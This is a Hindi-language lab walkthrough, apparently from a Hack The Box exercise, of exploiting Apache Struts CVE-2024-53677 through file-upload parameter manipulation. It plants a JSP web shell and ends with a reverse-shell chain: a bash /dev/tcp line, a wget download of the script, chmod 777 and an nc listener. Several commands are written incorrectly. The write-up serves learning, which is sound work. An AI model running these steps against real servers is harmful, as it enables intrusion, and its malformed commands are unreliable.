फ़ाइल अपलोड में हेरफेर के माध्यम से Apache Struts CVE-2024-53677 RCE का शोषण करने के लिए चरण-दर-चरण वॉकथ्रू, जिसमें OGNL इंजेक्शन, पेलोड एम्बेडिंग और रिवर्स शेल स्थापना शामिल है।
CVE-2024-53677 एक कमज़ोरी है जो Apache Struts 2.0.0 से 6.4.0 से पहले के संस्करणों को प्रभावित करती है। ⚠️ इसका शोषण Hack The Box लैब में किया गया था।
Apache Struts में फ़ाइल अपलोड तर्क दोषपूर्ण है। एक हमलावर फ़ाइल अपलोड पैरामीटर में हेरफेर करके पथ ट्रावर्सल सक्षम कर सकता है और कुछ परिस्थितियों में यह एक दुर्भावनापूर्ण फ़ाइल अपलोड करने का कारण बन सकता है जिसका उपयोग रिमोट कोड निष्पादन करने के लिए किया जा सकता है। 🔗 संदर्भ: NIST NVD प्रविष्टि
pom.xml ने का खुलासा किया📸 pom.xml एक्सपोज़र:

इस कमज़ोरी का शोषण करने के लिए हम BurpSuite और इसकी Repeater कार्यक्षमता का उपयोग करते हैं ताकि पैकेट भेजने से पहले उन्हें संशोधित किया जा सके। नीचे हमारे पास एक असंपादित अनुरोध है।
हमारी समस्या यह है कि साइट उन फ़ाइल प्रकारों को ब्लॉक करती है जो [JPG, JPEG, PNG, GIF] नहीं हैं और /uploads निर्देशिका में कुछ भी निष्पादन योग्य नहीं है। इन समस्याओं से निपटने के लिए हम पहले एक और पैरामीटर जोड़ेंगे।
संशोधित पैरामीटर जोड़ने के बाद, सर्वर प्रतिक्रिया पुष्टि करती है कि फ़ाइल सफलतापूर्वक अपलोड हो गई है। हालांकि, हम देखते हैं कि फ़ाइल पथ सामान्य अपलोड निर्देशिका से भिन्न है।
इसके बाद, हम पेलोड को सीधे छवि डेटा के नीचे और अपने इंजेक्ट किए गए पैरामीटर से ठीक पहले जोड़कर एम्बेड करते हैं। शेल पेलोड प्राप्त किया जा सकता है 🔗 संदर्भ: shell.jsp इसके अलावा, एक महत्वपूर्ण विवरण यह है कि अनुरोध में "Upload" बड़े U के साथ चाहिए, न कि छोटे upload के साथ। यह 🔗 संदर्भ: exploit.py में देखी गई शोषण संरचना का अनुसरण करता है।
इन संशोधनों के साथ, हम अनुरोध भेजते हैं। सर्वर समान रूप से प्रतिक्रिया देता है, सफल अपलोड की पुष्टि करता है और समायोजित फ़ाइल पथ को दर्शाता है।
अब, निम्न URL पर नेविगेट करके, हम अपने अपलोड किए गए शेल के साथ बातचीत कर सकते हैं।
ip/shelll.jsp?action=cmd&cmd=id

इस स्तर पर, हम एक स्थानीय रूप से होस्ट किए गए वेब सर्वर का उपयोग करके रिवर्स शेल स्थापित कर सकते हैं। इसे प्राप्त करने का एक सरल तरीका Python है: python3 http.server -m 3004
इसके बाद, एक बुनियादी शेल स्क्रिप्ट बनाएं (जैसे, shell.sh) cat bash -i >& /dev/tcp/$IP/$PORT 0>&1 > shell.sh
इसे डाउनलोड करने के लिए wget का उपयोग करें wget http://ip_address/filename -O /tmp
डाउनलोड करने के बाद, निष्पादन अनुमतियाँ प्रदान करें chmod +777 /tmp/filename
और फिर रिवर्स शेल को सुनने के लिए nc (netcat) का उपयोग करें। nc -lvnp $PORT
अंत में निष्पादित करें ./filename